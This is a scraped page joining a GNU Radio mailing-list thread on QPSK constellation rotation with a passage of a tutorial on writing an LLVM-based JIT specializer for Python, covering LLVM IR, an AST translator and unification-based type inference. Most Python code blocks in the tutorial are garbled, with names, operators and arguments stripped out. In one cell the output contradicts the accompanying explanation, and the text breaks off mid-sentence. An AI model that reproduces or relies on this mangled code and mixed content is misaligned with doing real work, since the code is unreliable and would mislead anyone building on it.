psk.constellation\[arity\]\)  
\#print "rotated\_const = %s" % rotated\_const  
  
self.slicer = gr.constellation\_decoder\_cb\(rotated\_const,  
range\(arity\)\)  
  
if self.\_gray\_code:  
self.symbol\_mapper = gr.map\_bb\(psk.gray\_to\_binary\[arity\]\)  
else:  
self.symbol\_mapper = gr.map\_bb\(psk.ungray\_to\_binary\[arity\]\)  
  
I would like to know if rot has to be set to 1 or 0.707 + 0.707j as I  
have removed the diff\_phasor ?  
When I draw the constellation after the clock\_recovery block, I see  
graphicaly that the symbol are located around +45°, 135°,225°,-45°.  
  
Best regards,  
  
Pepito  
\--  
Posted via http://www.ruby-forum.com/.  
  
  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
Discuss-gnuradio mailing list  
Discuss-gnuradio@...  
http://lists.gnu.org/mailman/listinfo/discuss-gnuradio  
  
---|---  
<img src='img/Temp2_5738.png' width='12' height='12' />  
|

## Re: QPSK Demodulator

<img src='img/Temp2_5739.png' width='15' height='15' /> by Mason-29 :: Rate this Message:  <img src='img/Temp2_5740.png' /> | View Threaded | Show Only this Message Hi,   
  
If you're using the gr\_mpsk\_receiver\_cc block, it should still  
expect a rot=1 constellation:  
  
\(lines 186-192ish of gnuradio-core/src/lib/general/gr\_mpsk\_receiver.cc\)  
void  
gr\_mpsk\_receiver\_cc::make\_constellation\(\)  
\{  
for\(unsigned int m=0; m < d\_M; m++\) \{  
d\_constellation.push\_back\(gr\_expj\(\(M\_TWOPI/d\_M\)\*m\)\);  
\}  
\}  
  
d\_M is the number of points of PSK modulation, namely 4. This produces a  
\(1,0\), \(0,1\), \(-1,0\), \(0,-1\) constellation.  
  
If you're using the actual clock\_recovery\_mm\_cc module \(I'm not terribly  
familiar with it\) it looks to be doing the same thing:  
  
gr\_complex  
gr\_clock\_recovery\_mm\_cc::slicer\_45deg \(gr\_complex sample\)  
\{  
float real= -1, imag = -1;  
if\(sample.real\(\) > 0\)  
real=1;  
if\(sample.imag\(\) > 0\)  
imag = 1;  
return gr\_complex\(real,imag\);  
\}  
  
I would think an improperly rotated constellation would be dealt with as  
a phase offset in the receiver to be dialed out, but you'd obviously  
need your clock recovery and slicer to agree on the constellation. Does  
the clock recovery converge to that 45-degree offset, or does it start  
there and \(perhaps over many samples, limited by response time\) converge  
to a +?  
  
As an aside, how will you ensure the receiver locks onto the same  
rotation as the transmitter?  
  
\--Mason  
  
  
  
Pepito31 Pepito31 wrote:  
> Hi all,  
> I'm working on a qpsk demodulator \(not differential\), see code below :  
>  
>  
>  
> \# Connect & Initialize base class  
> self.connect\(self,self.pre\_scaler, self.agc, self.costas\_loop,  
> self.rrc\_filter, self.clock\_recovery\)  
>  
> self.connect\(self.clock\_recovery, self.diffdec, self.slicer,  
> self.symbol\_mapper,self.unpack, self\)  
>  
> I've removed the diff\_phasor block in the flowgraph. By default the  
> constellation mapper use :  
> \# find closest constellation point  
> rot = 1  
> \#rot = .707 + .707j  
> rotated\_const = map\(lambda pt: pt \* rot,  
> psk.constellation\[arity\]\)  
> \#print "rotated\_const = %s" % rotated\_const  
>  
> self.slicer = gr.constellation\_decoder\_cb\(rotated\_const,  
> range\(arity\)\)  
>  
> if self.\_gray\_code:  
> self.symbol\_mapper = gr.map\_bb\(psk.gray\_to\_binary\[arity\]\)  
> else:  
> self.symbol\_mapper = gr.map\_bb\(psk.ungray\_to\_binary\[arity\]\)  
>  
> I would like to know if rot has to be set to 1 or 0.707 + 0.707j as I  
> have removed the diff\_phasor ?  
> When I draw the constellation after the clock\_recovery block, I see  
> graphicaly that the symbol are located around +45°, 135°,225°,-45°.  
>  
> Best regards,  
>  
> Pepito  
>  
  
  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
Discuss-gnuradio mailing list  
Discuss-gnuradio@...  
http://lists.gnu.org/mailman/listinfo/discuss-gnuradio  
  
<img src='img/Temp2_5738.png' width='12' height='12' />  
|

## Re: QPSK Demodulator

<img src='img/Temp2_5739.png' width='15' height='15' /> by trondeau :: Rate this Message:  <img src='img/Temp2_5740.png' /> | View Threaded | Show Only this Message Pepito31 Pepito31 wrote:   
> Hi all,  
> I'm working on a qpsk demodulator \(not differential\), see code below :  
>  
>  
>  
  
> I would like to know if rot has to be set to 1 or 0.707 + 0.707j as I  
> have removed the diff\_phasor ?  
> When I draw the constellation after the clock\_recovery block, I see  
> graphicaly that the symbol are located around +45°, 135°,225°,-45°.  
>  
> Best regards,  
>  
> Pepito  
>  
  
Pepito,  
  
Remember that a phase shift is just a phase shift and nothing special.  
The information is in the relative position of the constellation points  
to each other. You just have to make sure that the receiver knows how to  
slice the constellation once the phase locking has been accomplished.  
  
Tom  
  
  
  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
Discuss-gnuradio mailing list  
Discuss-gnuradio@...  
http://lists.gnu.org/mailman/listinfo/discuss-gnuradio  
  
Free embeddable forum powered by Nabble |  Forum Help  
---|---

# Let's Write an LLVM Specializer for Python\! \(Stephen Diehl\)

**Created:**| _1/22/2015 4:20:43 PM_  
---|---  
**Updated:**| _1/22/2015 4:20:43 PM_  
**Author:**| __  
**Tags:**| __  
  

# Let's Write an LLVM Specializer for Python\!

**Stephen Diehl** \( @smdiehl\)

* * *
<img src='img/Temp2_4884.png' />

This is the followup to my talk **LLVM Optimized Python** at the **Harvard-
Smithsonian Center for Astrophysics** , we'll do the deep dive that I didn't
have time for. We're going to build a single module Numba-like compiler for
Python. It won't be nearly as featureful or complete, but should demonstrate
how you can go about building your own little LLVM specializer for a subset of
Python or your own custom DSL expression compiler; and integrating it with the
standard NumPy/SciPy stack for whatever scientific computing domain you work.
The full source for this project is available on Github and comes in at 1000
lines for the whole specializer, very tiny\!

There's a whole slew of interesting domains where this kind of on-the-fly
specializing compiler can be used:

  * Computation kernels for MapReduce
  * Financial backtesting
  * Dense linear algebra
  * Image processing
  * Data pipeline hotspots
  * Speeding up SQL queries in PostgreSQL
  * Molecular dynamics
  * Compiling UDFs for Cloudera Impala

Python is great for rapid development and high-level thinking, but is slow due
to too many level of indirection, hashmap lookups, broken parallelism,slow
garbage collector, and boxed PyObject types. With LLVM we can keep writing
high-level code and not sacrafice performance.

You will need `python`, `llvm`, `llvmpy`, `numpy` and a bit of time. The best
way to get all of these is to install Anaconda maintained by my good friend
Ilan. Don't add any more entropy to the universe by compiling NumPy from
source, just use Anaconda.

In \[2\]:

[code]

    import llvm.ee  
    import llvm.core  
    
    int_type    
    float_type  double
    void_type   
    
      module rettype argtypes
        func_type    functionrettype argtypes False
        lfunc        Functionmodule func_type 
        entry_block  lfuncappend_basic_block"entry"
        builder      Builderentry_block
        return lfunc builder
    
[/code]

We'll create the toplevel LLVM module which will hold all of our definitions.
When we call Python's `__repr__` function it will print out the LLVM IR to the
module.

In \[3\]:

[code]

      Module'mymodule'
    print
    
[/code]

[code]

    ; ModuleID = 'mymodule'
    
    
    
[/code]

We now create the builder function which we'll use to populate the basic block
structure of the module. Again, when we call Python's **repr** it will print
out the LLVM IR for the function definition this time.

In \[4\]:

[code]

     builder  'main'  int_type 
    print
    
[/code]

[code]

    define i32 @main() {
    entry:
    }
    
    
    
[/code]

And we just create a constant integer and use the builder to emit a `ret`
instruction to return the current `entry` basic block and yield the constant
value.

In \[5\]:

[code]

    value  Constantint_type 
    block  buildervalue
    print
    
[/code]

[code]

    ; ModuleID = 'mymodule'
    
    define i32 @main() {
    entry:
      ret i32 42
    }
    
    
    
[/code]

In \[6\]:

[code]

    printto_native_assembly
    
[/code]

[code]

    	.file	"mymodule"
    	.text
    	.globl	main
    	.align	16, 0x90
    	.type	main,@function
    main:
    	.cfi_startproc
    	movl	$42, %eax
    	ret
    .Ltmp0:
    	.size	main, .Ltmp0-main
    	.cfi_endproc
    
    
    	.section	".note.GNU-stack","",@progbits
    
    
    
[/code]

So that's pretty swell, we have a way to interactively generate machine code
at runtime in Python\! Now we'll use the LLVM JIT to actually actually execute
the code and interchange values between the CPython runtime and the LLVM JIT.

In \[7\]:

[code]

      TargetMachinefeatures CM_JITDEFAULT
      EngineBuilder
      create
    
[/code]

In \[8\]:

[code]

      run_function 
    printas_int
    
[/code]

[code]

    42
    
    
[/code]

**That's pretty cool\!** We've just created machine code on the fly and
executed it inside of LLVM JIT _inside_ CPython yielding value that we can
work with in regular python. If the wheels aren't spinning in your head about
what you can do with this awesome power, then they should be\!

So now let's set about building a tiny pipeline to support a custom `autojit`
decorator. At the end we should be able to specialize the following dot
product into efficient machine code.

In \[9\]:

[code]

    @autojit
      
          
          shape
           range
             
        return 
    
[/code]

# LLVM Primer

<img src='img/Temp2_4891.png' />

LLVM is the engine that drives our effort. It is a modern compiler framework
and intermediate representation language together with toolchain for
manipulating and optimizing this language.

**Basic Types**

LLVM types are your typical machine types plus pointers, structs, vectors and
arrays.

[code]

    i1 1                   ; boolean bit
    i32 299792458          ; integer
    float 7.29735257e-3    ; single precision
    double 6.62606957e-34  ; double precision
[/code]

[code]

    {float, i64}           ; structure
    {float, {double, i3}}  ; nested structure
    <{float, [2 x i3]}>    ; packed structure
[/code]

[code]

    [10 x float]           ; Array of 10 floats
    [10 x [20 x i32]]      ; Array of 10 arrays of 20 integers.
[/code]

[code]

    <8 x float>            ; Vector of width 8 of floats
[/code]

[code]

    float*                 ; Pointer to a float
    [25 x float]*          ; Pointer to an array
[/code]

**Instructions**

All instructions are assignment to a unique virtual register. In SSA \(Single
Static Assignment\) a register is never assigned to more than once.

[code]

    %result = add i32 10, 20
[/code]

Symbols used in an LLVM module are either global or local. Global symbols
begin with `@` and local symbols begin with `%`.

The numerical instructions are:

  * `add` : Integer addition
  * `fadd` : Floating point addition
  * `sub` : Integer subtraction
  * `fsub` : Floating point subtraction
  * `mul` : Integer multiplication
  * `fmul` : Floating point multiplication
  * `udiv` : Unsigned integer quotient
  * `sdiv` : Signed integer quotient
  * `fdiv` : Floating point quotient
  * `urem` : Unsigned integer remainder
  * `srem` : Signed integer remainder
  * `frem` : Floating point integer remainder

**Memory**

LLVM uses the traditional load/store model:

  * `load`: Load a typed value from a given reference
  * `store`: Store a typed value in a given reference
  * `alloca`: Allocate a pointer to memory on the virtual stack

[code]

    %ptr = alloca i32
    store i32 3, i32* %ptr
    %val = load i32* %ptr
[/code]

**Functions**

Functions are defined by as a collection of basic blocks, a return type and
argument types. Function names must be unique in the module.

[code]

    define i32 @add(i32 %a, i32 %b) {
      %1 = add i32 %a, %b
      ret i32 %1
    }
[/code]

**Basic Blocks**

The function is split across basic blocks which hold sequences of instructions
and a terminator instruction which either returns or jumps to another local
basic block.

[code]

    define i1 @foo() {
    entry:
      br label %next
    next:
      br label %return
    return:
      ret i1 0
    }
[/code]

**Return**

A function must have a terminator, one of such instructions is a `ret` which
returns a value to the stack.

[code]

    define i1 @foo() {
      ret i1 0
    }
[/code]

<img src='img/Temp2_4892.png' />

**Unconditional Branch**

An unconditional branch jumps unconditionally to a labeled basic block.

[code]

    define i1 @foo() {
    start:
      br label %next
    next:
      br label %return
    return:
      ret i1 0
    }
[/code]

<img src='img/Temp2_4886.png' />

**Conditional Branch**

[code]

    define i32 @foo() {
    start:
      br i1 true, label %left, label %right
    left:
      ret i32 10
    right:
      ret i32 20
    }
[/code]

<img src='img/Temp2_4890.png' />

**Phi**

Phi nodes yield a value that depends on the operand corresponding to their
predecessor basic block. These are used for implementing loops in SSA.

[code]

    define i32 @foo() {
    start:
      br i1 true, label %left, label %right
    left:
      %plusOne = add i32 0, 1
      br label %merge
    right:
      br label %merge
    merge:
      %join = phi i32 [ %plusOne, %left], [ -1, %right]
      ret i32 %join
    }
[/code]

<img src='img/Temp2_4889.png' />

**Switch**

Switch statements are like switch statements in C, and can be used to build
jump tables.

[code]

    define i32 @foo(i32 %a) {
    entry:
      switch i32 %a, label %default [ i32 0, label %f
                                      i32 1, label %g
                                      i32 2, label %h ]
    f:
      ret i32 1
    g:
      ret i32 2
    h:
      ret i32 3
    default:
      ret i32 0
    }
[/code]

<img src='img/Temp2_4887.png' />

**Loops**

Loops are written in terms of conditional branches and phi nodes.

For example the translation of the following C code:

[code]

    int count(int n) 
    {
      int i = 0;
      while(i < n) 
      {
        i++;
      }
      return i;
    }
[/code]

Into LLVM:

[code]

    define i32 @count(i32 %n) {
    entry:
       br label %loop
    loop:
       %i = phi i32 [ 1, %entry ], [ %nextvar, %loop ]
       %nextvar = add i32 %i, 1
       %cmptmp = icmp ult i32 %i, %n
       %booltmp = zext i1 %cmptmp to i32
       %loopcond = icmp ne i32 %booltmp, 0
       br i1 %loopcond, label %loop, label %afterloop
    afterloop:
       ret i32 %i
    }
[/code]

<img src='img/Temp2_4885.png' />

**Toolchain**

The command line utilities for LLVM can be used to transform IR to and from
various forms and run optimizations over it. Everything we can do from the C++
API or llvmpy can also be done from the command line.

[code]

    $ llc example.ll -o example.s             # compile
    $ lli example.ll                          # execute
    $ opt -S example.bc -o example.ll         # to assembly
    $ opt example.ll -o example.bc            # to bitcode
    $ opt -O3 example.ll -o example.opt.ll -S # run optimizer
    $ opt -view-cfg module.ll                 # view control flow graph
[/code]

And that's basically all you need to know about LLVM. Also get used to
segfaulting the Python interpreter a lot when using llvmpy.

# Python AST

Python's internal AST is accessible from within the Python interpreter. Really
the only time you'd ever use this module is if you're doing crazy
metaprogramming, which is what we're about to do\! Ostensibly we're going to
be taking an arbitrary function introspecting it's AST and then mapping it
into another syntax called the _Core_ which we'll endow with a different
\(C-like\) semantics on top of as well as doing type inference on the logic to
make the AST explicitly typed.

  * https://greentreesnakes.readthedocs.org
  * https://docs.python.org/2/library/ast.html

Hat tip to John Riehl for this pretty printing technique.

In \[10\]:

[code]

    import 
    import pprint
    
     ast2tree include_attrs
         _transform
             isinstance 
                fields   _transform
                              iter_fields
                 include_attrs
                    attrs   _transformgetattr 
                                _attributes
                              hasattr 
                    return __class____name__ fields attrs
                return __class____name__ fields
             isinstance 
                return _transform    
             isinstance 
                return 
            return 
          isinstance 
            raise TypeError'expected AST, got   __class____name__
        return _transform
    
    
     pformat_ast include_attrsFalse 
        return pprintpformatast2tree include_attrs 
    
[/code]

So if we feed this function a source string, the ast module will go off an
pares it into the AST and we'll get this nicely presented nested-dict for it's
field structure. In fact we'll use the `ast.Node` for our custom AST just so
that we can reuse this pretty printer.

In \[11\]:

[code]

    source  
    def f(x): 
        return f(x+1)
    
    
    printpformat_astparsesource
    
[/code]

[code]

    ('Module',
     {'body': [('FunctionDef',
                {'args': ('arguments',
                          {'args': [('Name',
                                     {'ctx': ('Param', {}), 'id': "'x'"})],
                           'defaults': [],
                           'kwarg': None,
                           'vararg': None}),
                 'body': [('Return',
                           {'value': ('Call',
                                      {'args': [('BinOp',
                                                 {'left': ('Name',
                                                           {'ctx': ('Load',
                                                                    {}),
                                                            'id': "'x'"}),
                                                  'op': ('Add', {}),
                                                  'right': ('Num',
                                                            {'n': 1})})],
                                       'func': ('Name',
                                                {'ctx': ('Load', {}),
                                                 'id': "'f'"}),
                                       'keywords': [],
                                       'kwargs': None,
                                       'starargs': None})})],
                 'decorator_list': [],
                 'name': "'f'"})]})
    
    
[/code]

# Core Language

First we'll need to bring in a few libraries, pretty standard fare standard
library stuff. And a few LLVM libraries, more on this later.

In \[12\]:

[code]

     __future__ import print_function
    
    import 
    import 
    import types
    import ctypes
    import inspect
    import pprint
    import string
    import numpy  
     itertools import  
    
     textwrap import dedent
     collections import deque defaultdict
    
    import llvm.core  
    import llvm.passes  
    import llvm.ee  
     llvm.core import Module Builder Function  Constant
    
    DEBUG  False
    
[/code]

Our Core language will be a simple expression language with 12 terms that we
will condense a subset of the much larger Python AST into.

[code]

    e : var                 (Variable)
      | n = e               (Assignment)
      | return e            (Return)
      | loop n e e [e]      (Loop Construct)
      | %int                (Integer)
      | %float              (Float)
      | %bool               (Boolean)
      | e {e}               (Variadic Application)
      | function n {e} [e]  (Variadic Function)
      | prim n              (Primop)
      | index e e           (Array indexing)
      | noop                (Noop)
[/code]

Our core language will have two forms, one is untyped and the other has all
named expressions \(`n`\) annotated with an attached type field.

In \[13\]:

[code]

    class 
        _fields   "type"
    
         __init__  
              
              
    
    class Assign
        _fields  "ref" "val" "type"
    
         __init__   
              
              
              
    
    class Return
        _fields  "val"
    
         __init__ 
              
    
    class 
        _fields  "var" "begin" "end" "body"
    
         __init__  begin  
              
            begin  begin
              
              
    
    class 
        _fields   "args"
    
         __init__  
              
              
    
    class 
        _fields  "fname" "args" "body"
    
         __init__ fname  
            fname  fname
              
              
    
    class LitInt
        _fields  
    
         __init__  
              
              
    
    class LitFloat
        _fields  
    
         __init__  
              
              
    
    class LitBool
        _fields  
    
         __init__ 
              
    
    class 
        _fields   "args"
    
         __init__  
              
              
    
    class Index
        _fields  "val" 
    
         __init__  
              
              
    
    class 
        _fields  
    
[/code]

In similar fashion we have a very simple type system. Our function type is
variadic, it takes a tuple of arguments to a single output.

[code]

    t : a            (Type Variable)
      | C {t}        (Named Constructor)
      | t            (Type Application)
      | [t] -> t     (Function type)
[/code]

The basic constructors will simply be the machine types. By default we will
map Python's integer to `int64` and floating point to `double`. Python's
integer type is an arbitrary precision integer, whereas LLVM is a machine
integer so obviously there are different semantics.

In \[14\]:

[code]

    class object
         __init__ 
              
    
         __hash__
            return 
    
         __eq__ other
             isinstanceother 
                return   other
            
                return False
    
         __str__
            return 
        __repr__  __str__
    
    class object
         __init__ 
              
    
         __eq__ other
             isinstanceother 
                return   other
            
                return False
    
         __hash__
            return 
    
         __str__
            return 
        __repr__  __str__
    
    class object
         __init__  
              
              
    
         __eq__ other
             isinstanceother 
                return   other    other
            
                return False
    
         __hash__
            return  
    
         __str__
            return     
        __repr__  __str__
    
    class object
         __init__ argtys retty
            assert isinstanceargtys 
            argtys  argtys
            retty  retty
    
         __eq__ other
             isinstanceother 
                return argtys  otherargtys  retty  otherretty
            
                return False
    
         __str__
            return argtys  " -> "  retty
        __repr__  __str__
    
     
         isinstance 
            return 
         isinstance 
            return   
         isinstance 
            return reduceunion  argtys  retty
         isinstance 
            return 
    
     is_array
        return isinstance     "Array"
    
[/code]

In \[15\]:

[code]

    int32  "Int32"
    int64  "Int64"
    float32  "Float"
    double64  "Double"
      "Void"
    array  lambda  "Array" 
    
    array_int32  arrayint32
    array_int64  arrayint64
    array_double64  arraydouble64
    
[/code]

The Python to Core translator is a fairly unremarkable `NodeVisitor` class. It
recursively descends through the Python AST compressing it into our Core form.
For our example application this is obviously only a very small subset of the
entire AST, and a lot of cases are missing. We are going to support basic
loops, arithmetic with addition and multiplication, numeric literals, and
array indexing.

In \[16\]:

[code]

    class PythonVisitorNodeVisitor
    
         __init__
            
    
         __call__ source
             isinstancesource typesModuleType
                source  dedentinspectgetsourcesource
             isinstancesource typesFunctionType
                source  dedentinspectgetsourcesource
             isinstancesource typesLambdaType
                source  dedentinspectgetsourcesource
             isinstancesource  unicode
                source  dedentsource
            
                raise NotImplementedError
    
            _source  source
              parsesource
            return visit
    
         visit_Module 
              visit 
            return 
    
         visit_Name 
            return 
    
         visit_Num 
             isinstance float
                return LitFloat
            
                return LitInt
    
         visit_Bool 
            return LitBool
    
         visit_Call 
              visit
              visit 
            keywords  visit keywords
            return  
    
         visit_BinOp 
            op_str  __class__
              visit
              visitright
            opname  primopsop_str
            return opname  
    
         visit_Assign 
            targets  targets
    
            assert targets  
              targets
              visitvalue
            return Assign 
    
         visit_FunctionDef 
            stmts  
            stmts  visit stmts
              visit 
                stmts
            return 
    
         visit_Pass 
            return 
    
         visit_Lambda 
              visit
              visit
    
         visit_Return 
              visitvalue
            return Return
    
         visit_Attribute 
               "shape"
                  visitvalue
                return "shape#" 
            
                raise NotImplementedError
    
         visit_Subscript 
             isinstance 
                 slice
                      visitvalue
                      visitslicevalue
                    return Index 
             isinstance Store
                raise NotImplementedError
    
         visit_For 
            target  visittarget
            stmts  visit 
               "xrange" "range"
                  visit 
            
                raise Exception"Loop must be over range"
    
                  # xrange(n)
                return target LitInt int32  stmts
                 # xrange(n,m)
                return target   stmts
    
         visit_AugAssign 
             isinstance 
                  target
                value  visitvalue
                return Assign "add#"  value
             isinstance 
                  target
                value  visitvalue
                return Assign "mult#"  value
            
                raise NotImplementedError
    
         generic_visit 
            raise NotImplementedError
    
[/code]

So if we define a very simple function like:

In \[17\]:

[code]

     
        return   
    
[/code]

There are several builtin "primops" which are simply functions which have a
direct mapping to some function lower in the pipeline.

  * `add#` : Generic addition \(integral, floating point\)
  * `mult#` : Generic multiplication \(integral, floating point\)
  * `shape#` : Shape extraction for NumPy ndarrays.

In \[18\]:

[code]

    primops   "add#"  "mult#"
    
[/code]

And run our transformer over it with:

In \[19\]:

[code]

    transformer  PythonVisitor
      transformer
    printpformat_ast
    
[/code]

[code]

    ('Fun',
     {'args': [('Var', {'id': "'a'", 'type': None}),
               ('Var', {'id': "'b'", 'type': None})],
      'body': [('Return',
                {'val': ('Prim',
                         {'args': [('Var', {'id': "'a'", 'type': None}),
                                   ('Var', {'id': "'b'", 'type': None})],
                          'fn': "'add#'"})})],
      'fname': "'add'"})
    
    
[/code]

For a more complex function consider:

In \[20\]:

[code]

     count
          
           range 
              
        return 
    
    transformer  PythonVisitor
      transformercount
    printpformat_ast
    
[/code]

[code]

    ('Fun',
     {'args': [('Var', {'id': "'n'", 'type': None})],
      'body': [('Assign',
                {'ref': "'a'", 'type': None, 'val': ('LitInt', {'n': 0})}),
               ('Loop',
                {'begin': ('LitInt', {'n': 0}),
                 'body': [('Assign',
                           {'ref': "'a'",
                            'type': None,
                            'val': ('Prim',
                                    {'args': [('Var',
                                               {'id': "'a'",
                                                'type': None}),
                                              ('Var',
                                               {'id': "'i'",
                                                'type': None})],
                                     'fn': "'add#'"})})],
                 'end': ('Var', {'id': "'n'", 'type': None}),
                 'var': ('Var', {'id': "'i'", 'type': None})}),
               ('Return', {'val': ('Var', {'id': "'a'", 'type': None})})],
      'fname': "'count'"})
    
    
[/code]

# Type Inference

For type inference we wish to take our untyped AST and overlay types deduced
from two sources

  * Types intrinsic to the operations in use
  * User input types

To do this we will use a very traditional method of constraint based
unification for type reconstruction. We will walk our AST generating a
constraint set of equality relations between types \(written as `a ~ b`\),
which will give rise to a large constraint problem we will solve when given a
set of input types for arguments. Whenever we don't know the type of an
expression we will place a fresh free type variable in it's place and solve
for it when given more information.

There are four possible outcomes:

  * The types are correctly determined.
  * The types are underdetermined.
  * The types is polymorphic.
  * The types are inconsistent.

The case where the function is polymorphic implies that there are free type
variables remaining in the toplevel type. For instance we might have a type
like:

`[Array a, Array a] -> a`

Which just means that the logic is independent of the type of the element of
the arrays, and can operate polymorphicly over any element type. This is good
for code reuse and implies we get a whole family of functions supposing that
our compiler knows how to lower `a`.

  * The types are underdetermined. Implies that the constraints induced by usage are too lax to fully determine every subexpression. In this case an explicit annotation is needed.
  * The type inconsistent. This will happen where there is no solution that would satisfy the given constraints. For example trying to a call function with signature:

`[a,a] -> a`

Over the types `[Int64, Double]` has no solution since there can be no
solution where `Int64 ~ Double`.

In \[21\]:

[code]

     naming
          
        while 
               stringascii_lowercase
                yield       
              
    
    class TypeInferobject
    
         __init__
            constraints  
              
            names  naming
    
         fresh
            return   names  # New meta type variable.
    
         visit 
              "visit_  __name__
             hasattr 
                return getattr 
            
                return generic_visit
    
         visit_Fun 
            arity  
            argtys  fresh    
            retty  "$retty"
                 argtys
                  
                  
            visit 
            return argtys retty
    
         visit_Noop 
            return 
    
         visit_LitInt 
              fresh
              
            return 
    
         visit_LitFloat 
              fresh
              
            return 
    
         visit_Assign 
              visit
               
                # Subsequent uses of a variable must have the same type.
                constraints   
              
              
            return 
    
         visit_Index 
              fresh
              visit
              visit
            constraints   array  int32
            return 
    
         visit_Prim 
               "shape#"
                return arrayint32
               "mult#"
                  visit
                  visit
                constraints   
                return 
               "add#"
                  visit
                  visit
                constraints   
                return 
            
                raise NotImplementedError
    
         visit_Var 
              
              
            return 
    
         visit_Return 
              visit
            constraints   retty
    
         visit_Loop 
              int32
            varty  visit
            begin  visitbegin
              visit
            constraints  varty int32 
                begin int64  int32
            visit 
    
         generic_visit 
            raise NotImplementedError
    
[/code]

When the traversal is finished we'll have a set of constraints to solve:

In \[22\]:

[code]

     addup
          
           range
                
        return 
    
    transformer  PythonVisitor
      transformeraddup
    infer  TypeInfer
      infervisit
    
    print'Signature:  
    
    print'Constraints:'
       inferconstraints
        print  
    
[/code]

[code]

    Signature:[$a] -> $retty 
    
    Constraints:
    Int32 ~ Int32
    $c ~ Int64
    $a ~ Int32
    $d ~ $b
    $a ~ $b
    $b ~ $a
    $b ~ $retty
    
    
[/code]

So now we're left with a little riddle to reduce the number variables in the
expression by equating like terms. We also notice that the inference has
annotated our AST with explicit type terms for all the free variables.

In \[23\]:

[code]

    printpformat_ast
    
[/code]

[code]

    ('Fun',
     {'args': [('Var', {'id': "'n'", 'type': $a})],
      'body': [('Assign',
                {'ref': "'x'", 'type': $b, 'val': ('LitInt', {'n': 1})}),
               ('Loop',
                {'begin': ('LitInt', {'n': 0}),
                 'body': [('Assign',
                           {'ref': "'n'",
                            'type': $b,
                            'val': ('Prim',
                                    {'args': [('Var',
                                               {'id': "'n'",
                                                'type': $a}),
                                              ('Prim',
                                               {'args': [('LitInt',
                                                          {'n': 1}),
                                                         ('Var',
                                                          {'id': "'x'",
                                                           'type': $b})],
                                                'fn': "'add#'"})],
                                     'fn': "'add#'"})})],
                 'end': ('Var', {'id': "'n'", 'type': $a}),
                 'var': ('Var', {'id': "'i'", 'type': Int32})}),
               ('Return', {'val': ('Var', {'id': "'n'", 'type': $b})})],
      'fname': "'addup'"})
    
    
[/code]

So now we'll solve the system of equations using the very traditional
unification solver via Robinson's algorithm. The solver will recursively build
up the _most general unifier_ \(mgu\) which is a substitution which when
applied to the term yields the minimal singleton solution set.

In \[24\]:

[code]

     empty
        return 
    
     apply 
         isinstance 
            return 
         isinstance 
            return apply  apply 
         isinstance 
            argtys  apply     argtys
            retty  apply retty
            return argtys retty
         isinstance 
            return  
    
     applyList 
        return apply  apply      
    
     unify 
         isinstance   isinstance 
              unify 
              unifyapply  apply 
            return compose 
         isinstance   isinstance     
            return empty
         isinstance   isinstance 
             argtys  argtys
                return Exception"Wrong number of arguments"
              solveargtys argtys
              unifyapply retty apply retty
            return compose 
         isinstance 
            return  
         isinstance 
            return  
        
            raise InferError 
    
     solve
          empty
          deque
        while 
               
              unify 
              compose 
              dequeapplyList 
        return 
    
      
           
            return empty
         occurs_check 
            raise InfiniteType 
        
            return  
    
     occurs_check 
        return   
    
     union 
          
        update
        return 
    
     compose 
           apply      items
        return union 
    
    class UnderDetereminedException
         __str__
            return "The types in the function are not fully determined by the 
                    input types. Add annotations."
    
    class InferErrorException
         __init__  
              
              
    
         __str__
            return 
                "Type mismatch: "
                "Given: "   
                "Expected: "   
            
    
[/code]

In \[25\]:

[code]

      
          
          shape
           range
             
        return 
    
     test_infer
        transformer  PythonVisitor
          transformer
        infer  TypeInfer
          infervisit
          solveinferconstraints
        infer_ty  apply 
        
        print'Unifier: '
           iteritems
            print    
    
        print'Solution: ' infer_ty
    
    test_infer
    
[/code]

[code]

    Unifier: 
    $h ~ $c
    $f ~ Int64
    $g ~ $c
    $d ~ Int32
    $e ~ Int32
    $b ~ Array $c
    $c ~ $c
    $a ~ Array $c
    $retty ~ $c
    Solution:  [Array $c, Array $c] -> $c
    
    
[/code]

So in this case we have solution

`[Array $c, Array $c] -> $c`

indicating that our dot product function is polymorphic in both of it's
arguments and return type. It works for any array.

In \[26\]:

[code]

     addup
          
           range
                
        return 
    
    test_inferaddup
    
[/code]

[code]

    Unifier: 
    $retty ~ Int32
    $b ~ Int32
    $c ~ Int64
    $a ~ Int32
    Solution:  [Int32] -> Int32
    
    
[/code]

Where as for the addup function our inferred type is simply entirely
determiend by the type of iteration variable, which we for range we defined to
default to `Int32` which determines both the type of the input and the type of
the output and the intermediate type of `x`.

Consider now a case where the system is underdetermined. If we ignore one of
the arguments then our system doesn't have any constraints to solve for and
it's simply left as a free variable.

In \[27\]:

[code]

     const
        return 
    
    test_inferaddup
    
[/code]

[code]

    Unifier: 
    $retty ~ Int32
    $b ~ Int32
    $c ~ Int64
    $a ~ Int32
    Solution:  [Int32] -> Int32
    
    
[/code]

# LLVM Code Generator

Now we set up another type system, the LLVM type system which map directly
onto machine types for our platform.

The only nonobvious thing going on here is that our NumPy arrays will be
passed around as a structure object that holds metadata from the originally
NumPy ndarray. The `data` pointer is simply the pointer to data buffer that
NumPy allocated for it's values. In C we would write:

[code]

    struct ndarray_double {
        data *double;
        dims int;
        shape *int;
    }
[/code]

In \[28\]:

[code]

    pointer      pointer
    int_type     
    float_type   float
    double_type  double
    bool_type    
    void_type    
    void_ptr     pointer
    
     array_typeelt_type
        return struct
            pointerelt_type  # data
            int_type           # dimensions
            pointerint_type  # shape
         'ndarray_'  elt_type
    
    int32_array  pointerarray_typeint_type
    int64_array  pointerarray_type
    double_array  pointerarray_typedouble_type
    
    lltypes_map  
        int32           int_type
        int64           int_type
        float32         float_type
        double64        double_type
        array_int32     int32_array
        array_int64     int64_array
        array_double64  double_array
    
    
     to_lltypeptype
        return lltypes_mapptype
    
     determined
        return   
    
[/code]

Now the meat of the whole system is the LLVMEmitter class, which is a few
hundred lines. Effectively we create a LLVM builder upon initialization and
then traverse through our core AST. The important functions are:

